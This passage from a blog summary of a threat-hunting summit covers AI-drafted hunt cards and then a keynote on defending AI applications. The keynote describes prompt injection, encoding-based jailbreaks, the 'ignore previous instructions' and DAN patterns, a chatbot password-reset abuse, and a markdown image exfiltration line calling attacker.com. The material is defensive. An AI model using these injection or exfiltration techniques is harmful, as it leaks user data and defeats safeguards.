<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-2-map-to-attck-then-check-the-models-work">Step 2: Map to ATT&amp;CK, Then Check the Model's Work<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#step-2-map-to-attck-then-check-the-models-work" class="hash-link" aria-label="Direct link to Step 2: Map to ATT&amp;CK, Then Check the Model's Work" title="Direct link to Step 2: Map to ATT&amp;CK, Then Check the Model's Work" translate="no">​</a></h4>
<p>AI models often hallucinate or use stale training data, so mapping behaviors correctly is critical.</p>
<ul>
<li class=""><strong>Where the model lies:</strong> It invents technique IDs that look right but don't exist, picks parent techniques instead of specific sub-techniques, and maps the tool rather than the behavior.</li>
<li class=""><strong>Solution:</strong> Always diff against the live matrix. The prompt uses an MCP (Model Context Protocol) to query the live MITRE ATT&amp;CK matrix to validate IDs. If it cannot verify, the model must flag it with <code>[VERIFY]</code> for human review.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-3-a-hunt-is-only-real-if-you-can-run-it">Step 3: A Hunt is Only Real if You Can Run It<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#step-3-a-hunt-is-only-real-if-you-can-run-it" class="hash-link" aria-label="Direct link to Step 3: A Hunt is Only Real if You Can Run It" title="Direct link to Step 3: A Hunt is Only Real if You Can Run It" translate="no">​</a></h4>
<p>You must define the exact data sources and event IDs required for the hunt. <mark>If the telemetry doesn't exist, that itself is a finding</mark> (a coverage gap).</p>
<ul>
<li class=""><strong>Data Sources to specify:</strong>
<ul>
<li class=""><strong>Process / EDR:</strong> DeviceProcessEvents, ImageLoad, Sysmon 1/7, Sec 4688.</li>
<li class=""><strong>Network Egress:</strong> DeviceNetworkEvents, DNS / Sysmon 22, proxy + TLS SNI.</li>
<li class=""><strong>Identity / AD:</strong> Sec 4769 / 4624 / 5136, Sentinel SecurityEvent (DC).</li>
<li class=""><strong>Cloud Audit:</strong> DeviceProcessEvents (rclone) - 7045 - egress proxy / SWG.</li>
</ul>
</li>
<li class="">The AI should output analytic logic (like KQL, SPL, or Sigma) based on publicly available documentation to give hunters a starting point.</li>
</ul>
<blockquote>
<p><em>Hearth automatically filters hypotheses based on your available data sources so coverage gaps are obvious before starting.</em></p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-4-the-output--a-hunt-card">Step 4: The Output — A Hunt Card<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#step-4-the-output--a-hunt-card" class="hash-link" aria-label="Direct link to Step 4: The Output — A Hunt Card" title="Direct link to Step 4: The Output — A Hunt Card" translate="no">​</a></h4>
<p>The final output is a repeatable shape for every hypothesis that scales from a solo hunter's notebook to a program's backlog. It includes six components:</p>
<ol>
<li class=""><strong>Hypothesis:</strong> One sentence describing the behavior you expect to find.</li>
<li class=""><strong>ATT&amp;CK:</strong> Verified Technique ID and name.</li>
<li class=""><strong>Data Source:</strong> Named tables &amp; Event IDs (never just "EDR").</li>
<li class=""><strong>Analytic Logic:</strong> A real, runnable query (e.g., KQL, SPL, Sigma).</li>
<li class=""><strong>Validation:</strong> Expected hits and known false positives to baseline.</li>
<li class=""><strong>PEAK Category:</strong> Hypothesis-driven, Baseline, or Model-assisted.</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="prompt-crafting">Prompt Crafting<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#prompt-crafting" class="hash-link" aria-label="Direct link to Prompt Crafting" title="Direct link to Prompt Crafting" translate="no">​</a></h3>
<p>What turns a basic summary into a runnable hypothesis? Lauren shared these prompt engineering pointers:</p>
<ul>
<li class=""><strong>Frame the role:</strong> Explicitly tell the AI it's a <em>"Senior hunter, not a chatbot."</em> This changes the quality of the output.</li>
<li class=""><strong>Cover it all:</strong> Instruct it to extract <em>every</em> behavior and variant, not just the flashy ones.</li>
<li class=""><strong>Real fields only:</strong> Demand named tables and Event IDs, explicitly stating <em>"no invented operators."</em></li>
<li class=""><strong>Validate always:</strong> Ensure expected hits and false positives are baselined.</li>
<li class=""><strong>Ban indicators:</strong> Reject answers that are just <mark>"IOCs in a trench coat."</mark></li>
</ul>
<blockquote>
<p><strong>The System Prompt:</strong>
<em>"You are a senior threat hunter, not a chatbot. You turn threat reports into hunts a hunter can run today — rigorous and skeptical of your own output.</em>
<em>Rules you never break:</em>
<em>- Hunt BEHAVIOR, not indicators.</em>
<em>- Map to ATT&amp;CK by behavior; use the most specific sub-technique. Unsure an ID exists? Say so — never invent one.</em>
<em>- Ground every query ONLY in that hunt's named data source.</em>
<em>- Every hypothesis ships with validation: expected hits AND the false positives to baseline.</em>
<em>- Firm, narrow, specific. One behavior per hypothesis."</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-run-one-report-fourteen-runnable-hunts">The Run: One Report, Fourteen Runnable Hunts<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-run-one-report-fourteen-runnable-hunts" class="hash-link" aria-label="Direct link to The Run: One Report, Fourteen Runnable Hunts" title="Direct link to The Run: One Report, Fourteen Runnable Hunts" translate="no">​</a></h3>
<p>Lauren showcased how she applied this structure to a real-world example: <em>The DFIR Report, May 2026 — EtherRAT -&gt; TukTuk -&gt; The Gentleman</em>. By pasting the full report link along with the one-shot prompt, the AI processed the entire intrusion chain.</p>
<p>The single run successfully:</p>
<ul>
<li class="">Extracted every behavior and variant.</li>
<li class="">Mapped them to ATT&amp;CK (flagging 4 technique IDs for human verification).</li>
<li class="">Scoped specific named tables and Event IDs.</li>
<li class="">Generated <strong>14 deep, runnable KQL hunt cards</strong> while identifying <strong>4 coverage gaps</strong>.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="hunt-card-examples">Hunt Card Examples<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#hunt-card-examples" class="hash-link" aria-label="Direct link to Hunt Card Examples" title="Direct link to Hunt Card Examples" translate="no">​</a></h3>
<p>Here are three of the sharpest hunt cards generated from that single prompt <em>(more examples are available on her GitHub repository)</em>:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-web3-c2-resolution">1. Web3 C2 Resolution<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#1-web3-c2-resolution" class="hash-link" aria-label="Direct link to 1. Web3 C2 Resolution" title="Direct link to 1. Web3 C2 Resolution" translate="no">​</a></h4>
<ul>
<li class=""><strong>Hypothesis:</strong> Endpoints with no business touching Web3 are resolving C2 through blockchain and decentralized storage.</li>
<li class=""><strong>Data Source:</strong> Defender DeviceNetworkEvents · DNS / Sysmon 22 · proxy SNI</li>
<li class=""><strong>Validation:</strong> Dev and blockchain teams are the known false positives. Baseline expected Web3 usage first, then alert on the rest.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-trojanized-signed-binaries">2. Trojanized Signed Binaries<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#2-trojanized-signed-binaries" class="hash-link" aria-label="Direct link to 2. Trojanized Signed Binaries" title="Direct link to 2. Trojanized Signed Binaries" translate="no">​</a></h4>
<ul>
<li class=""><strong>Hypothesis:</strong> Legitimate signed apps are running from odd paths and making outbound connections after DLL sideloading.</li>
<li class=""><strong>Data Source:</strong> DeviceImageLoadEvents + DeviceNetworkEvents · Sysmon 7</li>
<li class=""><strong>Validation:</strong> Pin known-good install paths and update channels. Anything outside them on a server is worth a look.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-rmm-as-a-c2-channel">3. RMM as a C2 Channel<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#3-rmm-as-a-c2-channel" class="hash-link" aria-label="Direct link to 3. RMM as a C2 Channel" title="Direct link to 3. RMM as a C2 Channel" translate="no">​</a></h4>
<ul>
<li class=""><strong>Hypothesis:</strong> Remote management tooling is installed or running outside the approved inventory.</li>
<li class=""><strong>Data Source:</strong> Security 7045 · Defender DeviceNetworkEvents (RMM SNI)</li>
<li class=""><strong>Validation:</strong> Your approved RMM allowlist is the oracle. The hunt is only as good as that inventory, so build it first.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="hearth-runs-the-loop-for-the-community">HEARTH Runs the Loop for the Community<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#hearth-runs-the-loop-for-the-community" class="hash-link" aria-label="Direct link to HEARTH Runs the Loop for the Community" title="Direct link to HEARTH Runs the Loop for the Community" translate="no">​</a></h3>
<p>Lauren and the team have already built a system that automates this entire loop for the community, called <strong>HEARTH</strong>. Instead of threat intel dying in a Slack channel, it becomes a forkable community asset. You can try it yourself:</p>
<ol>
<li class=""><strong>Autosubmit a CTI link:</strong> Paste a URL at <code>hearth.thorcollective.com/submit.html</code>. It opens a pre-filled GitHub issue.</li>
<li class=""><strong>AI drafts the hunt:</strong> The AI pipeline drafts the full hypothesis, properly PEAK-categorized.</li>
<li class=""><strong>Dedup check:</strong> The pipeline scores the new hunt against 130+ existing hunts to avoid duplication.</li>
<li class=""><strong>PR to the open library:</strong> GitHub Actions automatically opens a branch and a Pull Request for human review.</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="general-takeaways-1">General Takeaways<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#general-takeaways-1" class="hash-link" aria-label="Direct link to General Takeaways" title="Direct link to General Takeaways" translate="no">​</a></h3>
<ul>
<li class="">Let automation and AI draft the hypothesis, but use human judgment to validate what is real.</li>
<li class=""><mark>AI always hallucinates to some degree; validation is 100% part of the job.</mark></li>
<li class="">For a solo hunter, this process turns a report into a runnable hunt in minutes. For mature programs, it helps deduplicate the backlog and increases coverage.</li>
<li class="">You can check out over 200 ready-to-use hunt hypotheses or submit TI reports to generate hunts automatically via the THOR Collective's Hearth project.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="afternoon-keynote-defending-ai-organized-musings-on-securing-ai-agents-for-cybersecurity-by-jason-haddix">Afternoon Keynote: "Defending AI: Organized Musings on Securing AI Agents for Cybersecurity" by Jason Haddix<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#afternoon-keynote-defending-ai-organized-musings-on-securing-ai-agents-for-cybersecurity-by-jason-haddix" class="hash-link" aria-label="Direct link to Afternoon Keynote: &quot;Defending AI: Organized Musings on Securing AI Agents for Cybersecurity&quot; by Jason Haddix" title="Direct link to Afternoon Keynote: &quot;Defending AI: Organized Musings on Securing AI Agents for Cybersecurity&quot; by Jason Haddix" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-6">Introduction<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#introduction-6" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>Jason, an offensive security expert with 22 years of experience at <em>Arcanum</em>, presented a beta version of their upcoming content on defending AI. The talk was built entirely from an attacker's perspective — covering the <strong>11 things he hates dealing with the most</strong> when red-teaming AI applications. These 11 layers form a "Defense-in-Depth Stack" and fall into two categories:</p>
<ul>
<li class=""><strong>Probabilistic (Speed Bumps):</strong> Bypassable controls like guardrails and safety tuning that slow attackers down.</li>
<li class=""><strong>Deterministic:</strong> Hard, technology-based controls that bound the blast radius, like web application security and access management.</li>
</ul>
<blockquote>
<p><em>None of these are foolproof on their own, but <mark>layered together, they create a defensible AI system</mark>.</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="real-world-ai-attacks">Real-World AI Attacks<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#real-world-ai-attacks" class="hash-link" aria-label="Direct link to Real-World AI Attacks" title="Direct link to Real-World AI Attacks" translate="no">​</a></h3>
<p>Jason demonstrated how attackers exploit AI systems using <strong>Prompt Injection</strong>. Attackers use tools like <em>Parseltongue</em> (built by jailbreak group <strong>BT6</strong>, led by <em>Pliny the Prompter</em>) to encode malicious prompts in hundreds of different encodings (e.g., Unicode circle letters) to bypass classifiers, guardrails, and built-in model safety tuning. He also highlighted a recent <strong>Meta chatbot bug</strong> where an over-scoped customer support agent allowed attackers to request a password reset code for the White House Instagram account and have it sent to an attacker-controlled email — all without ever logging in.</p>
<blockquote>
<p><em>If Meta can make mistakes like these, we can all make mistakes like these when implementing agentic systems.</em></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-11-layers-of-the-defense-in-depth-stack">The 11 Layers of the Defense-in-Depth Stack<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#the-11-layers-of-the-defense-in-depth-stack" class="hash-link" aria-label="Direct link to The 11 Layers of the Defense-in-Depth Stack" title="Direct link to The 11 Layers of the Defense-in-Depth Stack" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-1-web-application-security">Layer 1: Web Application Security<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-1-web-application-security" class="hash-link" aria-label="Direct link to Layer 1: Web Application Security" title="Direct link to Layer 1: Web Application Security" translate="no">​</a></h4>
<p>AI systems are still web applications at the end of the day, and foundational web hygiene stops many AI-specific attacks.</p>
<ul>
<li class=""><strong>Input Validation &amp; Output Encoding:</strong> Attackers need to send through JavaScript code or Markdown syntax to smuggle data out or attack other users. If the chatbot doesn't explicitly need raw special characters (brackets, exclamation points, Unicode), sanitize or disallow them. Libraries like <em>DOMPurify</em> wreck a lot of inbound attacks. Ask yourself: <em>Does our chatbot need to handle Unicode character sets? Alternate languages? Special characters?</em> If the answer is no, strip them at the web app layer.</li>
<li class=""><strong>Character Limits:</strong> Analyze normal user conversation patterns and set character limits. Red teamers need a lot of prompt space to craft effective attacks, so restricting input length is a low-effort win.</li>
<li class=""><strong>Content Security Policy (CSP):</strong> AI systems today are agentic, with internal logging platforms, observability dashboards, and prompt caching apps — many downloaded from GitHub and not built for security. Attackers inject JavaScript or Markdown blindly into the system, hoping it renders on an internal page when a human views the logs. <mark>A tight CSP with a domain allowlist completely blocks the common image-render exfiltration trick</mark> (<code>![img](attacker.com?d=base64_stolen_data)</code>).</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-2-input-guardrails">Layer 2: Input Guardrails<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-2-input-guardrails" class="hash-link" aria-label="Direct link to Layer 2: Input Guardrails" title="Direct link to Layer 2: Input Guardrails" translate="no">​</a></h4>
<blockquote>
<p><em>Guardrails are essentially <mark>firewalls for LLMs</mark>.</em></p>
</blockquote>
<p>They inspect incoming messages for two things:</p>
<ol>
<li class=""><strong>Prompt Injection Primitives:</strong> Known patterns like <em>"ignore previous instructions."</em></li>
<li class=""><strong>Verbatim Jailbreaks:</strong> Specific known jailbreaks like "DAN" (Do Anything Now), roleplay jailbreaks, and the latest community-discovered bypasses.</li>
</ol>
<p>Features to look for in a guardrail:</p>
<ul>
<li class=""><strong>Self-Learning:</strong> Advanced guardrails (like <em>Lakera's</em>, featured in their Gandalf CTF levels 8-9) automatically analyze successful attacks, learn the heuristics, and add new definitions to their database dynamically.</li>
<li class=""><strong>Regularly Updated Static Database:</strong> Check if the guardrail's GitHub definition file is being updated for the newest jailbreaks (e.g., the latest poetry-based Claude bypass).</li>
<li class=""><strong>Non-Standard Character Alerting:</strong> The guardrail should flag unusual character sets even if it can't determine malicious intent.</li>
<li class=""><strong>File Upload Parsing:</strong> Many bypasses come through prompt injection hidden in uploaded file metadata, not just chat text. Ensure the guardrail inspects file uploads and RAG ingestion, not just the chat context.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-3-frontier-model-safety-tuning">Layer 3: Frontier Model Safety Tuning<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-3-frontier-model-safety-tuning" class="hash-link" aria-label="Direct link to Layer 3: Frontier Model Safety Tuning" title="Direct link to Layer 3: Frontier Model Safety Tuning" translate="no">​</a></h4>
<p>Using a frontier model from a major lab (OpenAI, Anthropic, Google) provides another layer because they come pre-tuned with built-in safety training to resist simple prompt injection and harmful content generation.</p>
<ul>
<li class="">For organizations handling private data that can't use a hosted model directly, deploy a frontier model privately via <strong>AWS Bedrock</strong> (for Anthropic's Claude) or <strong>Microsoft Azure</strong> (for OpenAI's models). You own the instance, the data never leaves your organizational loop, and the <mark>privacy compliance burden shifts to AWS/Microsoft</mark>, with whom you likely already have contractual agreements for your cloud infrastructure.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-4-llm--intent-routing">Layer 4: LLM / Intent Routing<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-4-llm--intent-routing" class="hash-link" aria-label="Direct link to Layer 4: LLM / Intent Routing" title="Direct link to Layer 4: LLM / Intent Routing" translate="no">​</a></h4>
<p>Before passing a request to the main model, use a small, fast, cheap LLM as a <strong>gatekeeper</strong> to classify whether the user's input belongs in your system at all.</p>
<ul>
<li class=""><em>Example:</em> A hospital chatbot's router is prompted with: <em>"Is this a medical support question? Answer with one word: support or other."</em> If someone asks how to cook meth, the router classifies it as "other" and drops the request before it ever reaches the main model or agents.</li>
<li class="">This can be implemented in frameworks like <strong>LangChain</strong> or <strong>Semantic Router</strong>, and the latency is negligible since users already accept some wait time in agentic systems.</li>
<li class="">For red teamers, this is frustrating because it can take <em>days if not weeks</em> to understand what request format will pass the router while still being malicious.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-5-clean-rag-retrieval-augmented-generation">Layer 5: Clean RAG (Retrieval-Augmented Generation)<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-5-clean-rag-retrieval-augmented-generation" class="hash-link" aria-label="Direct link to Layer 5: Clean RAG (Retrieval-Augmented Generation)" title="Direct link to Layer 5: Clean RAG (Retrieval-Augmented Generation)" translate="no">​</a></h4>
<p>RAG is just hooking up a document data store to your AI app, but it introduces major risks if done carelessly.</p>
<ul>
<li class=""><strong>Scrub PII Before Ingestion:</strong> Don't upload documents with PII into your RAG store, then rely on a prompt to tell the AI <em>"never reveal social security numbers."</em> <mark>Prompt-based restrictions are always bypassable</mark> via prompt injection. Use tools like <strong>Presidio</strong> for runtime PII removal and <strong>Tika</strong>, <strong>ExifTool</strong>, or <strong>MAT2</strong> to strip metadata.</li>
<li class=""><strong>Watch for Metadata Leaks:</strong> Even if document text is scrubbed, metadata (author, timestamps, internal paths) can leak sensitive information.</li>
<li class=""><strong>Scan for Embedded Prompt Injection:</strong> Now that AI is mainstream, attackers embed prompt injections in documents (like resumes) that get ingested into your data store. Scan incoming documents, even from "trusted" third-party partners.</li>
<li class=""><strong>Vector-Level Authorization:</strong> Modern RAG databases now support per-user or per-document authorization at the vector level. Use these features to restrict which users can access which chunks.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-6-agent-iam-identity--access-management">Layer 6: Agent IAM (Identity &amp; Access Management)<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-6-agent-iam-identity--access-management" class="hash-link" aria-label="Direct link to Layer 6: Agent IAM (Identity &amp; Access Management)" title="Direct link to Layer 6: Agent IAM (Identity &amp; Access Management)" translate="no">​</a></h4>
<p>Backend agents are what make AI apps powerful, but they need to be treated like employees with <mark>least-privilege access</mark>.</p>
<ul>
<li class=""><strong>Deny by Default:</strong> Most LLMs used as agents come with all tools enabled (code execution, web search, API read/write). Start by denying everything and only enable what the specific agent needs.</li>
<li class=""><strong>Don't Control Access via Prompting:</strong> You cannot instruct an agent via its prompt to <em>"never delete users."</em> That is always bypassable. Remove the capability at the <strong>configuration level</strong>, not the prompt level.</li>
<li class=""><strong>Separate Dangerous Actions:</strong> If an agent needs to read documents, it should only have <code>readDoc</code> and <code>search</code> permissions. Destructive actions like <code>deleteUser</code> or <code>executeCode</code> should be separated into a different, sandboxed agent or handled through a deterministic non-AI workflow entirely (like calling customer service or a web app flow).</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-7-read-only--egress-control">Layer 7: Read-Only + Egress Control<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-7-read-only--egress-control" class="hash-link" aria-label="Direct link to Layer 7: Read-Only + Egress Control" title="Direct link to Layer 7: Read-Only + Egress Control" translate="no">​</a></h4>
<p>When agents interact with third-party APIs or internal data stores, enforce <strong>read-only access by default</strong> and lock down where data can go.</p>
<ul>
<li class="">Ensure agents cannot write to or modify external systems unless explicitly required and sandboxed.</li>
<li class="">Implement egress controls that whitelist only the specific domains and IPs the agent is allowed to communicate with. If an attacker tricks an agent into exfiltrating data to <code>attacker.com</code>, egress controls stop the request.</li>
<li class="">Tie agent network communication to the source IP or session of the originating user, so agents can <mark>never initiate outbound connections to addresses not associated with the legitimate user session</mark>.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-8-output-classifier">Layer 8: Output Classifier<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-8-output-classifier" class="hash-link" aria-label="Direct link to Layer 8: Output Classifier" title="Direct link to Layer 8: Output Classifier" translate="no">​</a></h4>
<p>While input guardrails filter what goes <em>in</em>, an output classifier filters what comes <em><strong>out</strong></em> of the model.</p>
<ul>
<li class="">It checks the model's responses before they reach the user for leaked system prompts, PII, sensitive data, or harmful content that slipped past the input controls.</li>
<li class="">This catches scenarios where a prompt injection bypassed input guardrails but the resulting output still contains data that should never leave the system.</li>
<li class="">Like input guardrails, these can be LLM-based or regex-based, and are another probabilistic speed bump in the stack.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-9-token-limits">Layer 9: Token Limits<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-9-token-limits" class="hash-link" aria-label="Direct link to Layer 9: Token Limits" title="Direct link to Layer 9: Token Limits" translate="no">​</a></h4>
<p>Restricting the number of tokens (input and output) that a model can process in a single interaction is a simple but effective control.</p>
<ul>
<li class="">Large, complex prompt injections and jailbreaks require significant token budgets to craft properly. <mark>Limiting token counts restricts the attacker's workspace.</mark></li>
<li class="">On the output side, token limits prevent the model from dumping large volumes of sensitive data in a single response, even if a prompt injection is partially successful.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-10-rate-limiting--cost-caps">Layer 10: Rate Limiting &amp; Cost Caps<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-10-rate-limiting--cost-caps" class="hash-link" aria-label="Direct link to Layer 10: Rate Limiting &amp; Cost Caps" title="Direct link to Layer 10: Rate Limiting &amp; Cost Caps" translate="no">​</a></h4>
<p>This is a deterministic control that limits how many requests a user or session can make over a given time period.</p>
<ul>
<li class="">Attackers need to send hundreds (sometimes thousands) of requests to probe, enumerate, and brute-force a working prompt injection or jailbreak. Rate limiting forces them to slow down dramatically and increases the chance of detection.</li>
<li class=""><strong>Cost Caps</strong> set hard spending limits per user or session. This prevents abuse-of-service attacks where an attacker floods the system with expensive inference calls to rack up costs (a <mark>denial-of-wallet</mark> attack).</li>
<li class="">While not foolproof, when layered with everything else, it makes the attacker's job significantly harder and slower.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-11-inference-logging--threat-hunting">Layer 11: Inference Logging + Threat Hunting<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#layer-11-inference-logging--threat-hunting" class="hash-link" aria-label="Direct link to Layer 11: Inference Logging + Threat Hunting" title="Direct link to Layer 11: Inference Logging + Threat Hunting" translate="no">​</a></h4>
<p>The final layer is about <strong>visibility</strong>. If all other layers fail, you need to be able to detect and investigate what happened.</p>
<ul>
<li class=""><strong>Log Every Inference:</strong> Capture every input, output, token usage, and tool call made by the system. This includes the full conversation context, not just the user-facing chat.</li>
<li class=""><strong>Threat Hunt AI Logs:</strong> Apply the same threat hunting principles discussed earlier in this summit to your AI inference logs. Look for anomalous patterns: unusual character sets, repeated encoding attempts, session spikes from a single IP, or agents making unexpected outbound calls.</li>
<li class=""><strong>Alerting on Anomalies:</strong> Build detection rules for known prompt injection patterns, unusual token consumption, or agents accessing data they shouldn't.</li>
</ul>
<blockquote>
<p><em>This layer ensures that even if an attacker breaches every other control, their activity is <mark>recorded and can be investigated forensically</mark>.</em></p>
</blockquote>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references--further-reading">References &amp; Further Reading<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#references--further-reading" class="hash-link" aria-label="Direct link to References &amp; Further Reading" title="Direct link to References &amp; Further Reading" translate="no">​</a></h2>
<p>Here is a compiled list of all the frameworks, tools, projects, and resources mentioned throughout the summit:</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="frameworks--methodologies">Frameworks &amp; Methodologies<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#frameworks--methodologies" class="hash-link" aria-label="Direct link to Frameworks &amp; Methodologies" title="Direct link to Frameworks &amp; Methodologies" translate="no">​</a></h3>
<ul>
<li class=""><strong>PEAK Threat Hunting Framework</strong> — Splunk's modern framework for threat hunting (Prepare, Execute, Act with Knowledge). <a href="https://www.splunk.com/en_us/blog/security/peak-threat-hunting-framework.html" target="_blank" rel="noopener noreferrer" class="">splunk.com/en_us/blog/security/peak-threat-hunting-framework.html</a></li>
<li class=""><strong>ATHF (Agentic Threat Hunting Framework) &amp; LOCK Format</strong> — Sydney Marrone's methodology for structuring threat hunt memory and notes.</li>
<li class=""><strong>Sqrrl Threat Hunting Loop</strong> — One of the earliest foundational frameworks for hypothesis-driven threat hunting.</li>
<li class=""><strong>MITRE ATT&amp;CK</strong> — The globally accessible knowledge base of adversary tactics and techniques. <a href="https://attack.mitre.org/" target="_blank" rel="noopener noreferrer" class="">attack.mitre.org</a></li>
<li class=""><strong>Threat Hunting Maturity Model</strong> — David Bianco's five-tier model for assessing organizational threat hunting capability.</li>
<li class=""><strong>Pyramid of Pain</strong> — David Bianco's framework for understanding the value of different indicator types. <a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html" target="_blank" rel="noopener noreferrer" class="">detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html</a></li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="projects--repositories">Projects &amp; Repositories<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#projects--repositories" class="hash-link" aria-label="Direct link to Projects &amp; Repositories" title="Direct link to Projects &amp; Repositories" translate="no">​</a></h3>
<ul>
<li class=""><strong>THOR Collective (HEARTH)</strong> — An open library of 200+ threat hunting hypotheses. Submit and view hunts at <a href="https://hearth.thorcollective.com/" target="_blank" rel="noopener noreferrer" class="">hearth.thorcollective.com</a>. <a href="https://github.com/ThreatHuntingProject" target="_blank" rel="noopener noreferrer" class="">github.com/ThreatHuntingProject</a></li>
<li class=""><strong>The DFIR Report</strong> — Detailed, actionable threat intelligence reports used to test hypothesis generation. <a href="https://thedfirreport.com/" target="_blank" rel="noopener noreferrer" class="">thedfirreport.com</a></li>
<li class=""><strong>Threat Hunting Toolkit</strong> — Developed by <em>Ethan Robish</em> (BHIS), useful for standardizing interactions with Zeek logs. <a href="https://github.com/activecm/threat-hunting-toolkit" target="_blank" rel="noopener noreferrer" class="">github.com/activecm/threat-hunting-toolkit</a></li>
<li class=""><strong>PEAK Assistant</strong> — David Bianco's open-source AI assistant targeting the Prepare phase of threat hunting. <a href="https://github.com/davidjbianco/peak-assistant" target="_blank" rel="noopener noreferrer" class="">github.com/davidjbianco/peak-assistant</a></li>
<li class=""><strong>Parseltongue</strong> — Encoding toolset used by AI red teamers (BT6 jailbreak group) for prompt injection testing. <a href="https://github.com/Pliny-the-Prompter/parseltongue" target="_blank" rel="noopener noreferrer" class="">github.com/Pliny-the-Prompter/parseltongue</a></li>
<li class=""><strong>Gandalf CTF by Lakera</strong> — Prompt injection CTF with progressive difficulty levels. <a href="https://gandalf.lakera.ai/" target="_blank" rel="noopener noreferrer" class="">gandalf.lakera.ai</a></li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="tools--technologies">Tools &amp; Technologies<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#tools--technologies" class="hash-link" aria-label="Direct link to Tools &amp; Technologies" title="Direct link to Tools &amp; Technologies" translate="no">​</a></h3>
<ul>
<li class=""><strong>RITA (Real Intelligence Threat Analytics)</strong> — Open-source network traffic analysis framework for detecting C2 communication, by Active Countermeasures. <a href="https://github.com/activecm/rita" target="_blank" rel="noopener noreferrer" class="">github.com/activecm/rita</a></li>
<li class=""><strong>Active Countermeasures</strong> — Creators of RITA and experts in network threat hunting. <a href="https://www.activecountermeasures.com/" target="_blank" rel="noopener noreferrer" class="">activecountermeasures.com</a></li>
<li class=""><strong>Zeek</strong> — Open-source network security monitoring tool. <a href="https://zeek.org/" target="_blank" rel="noopener noreferrer" class="">zeek.org</a></li>
<li class=""><strong>Zui (formerly Brim)</strong> — A desktop application for analyzing packet captures and converting them to Zeek logs via Zed Lake. <a href="https://zui.brimdata.io/" target="_blank" rel="noopener noreferrer" class="">zui.brimdata.io</a></li>
<li class=""><strong>DuckDB</strong> — Fast in-process analytical database used for data processing in AI agent context engineering. <a href="https://duckdb.org/" target="_blank" rel="noopener noreferrer" class="">duckdb.org</a></li>
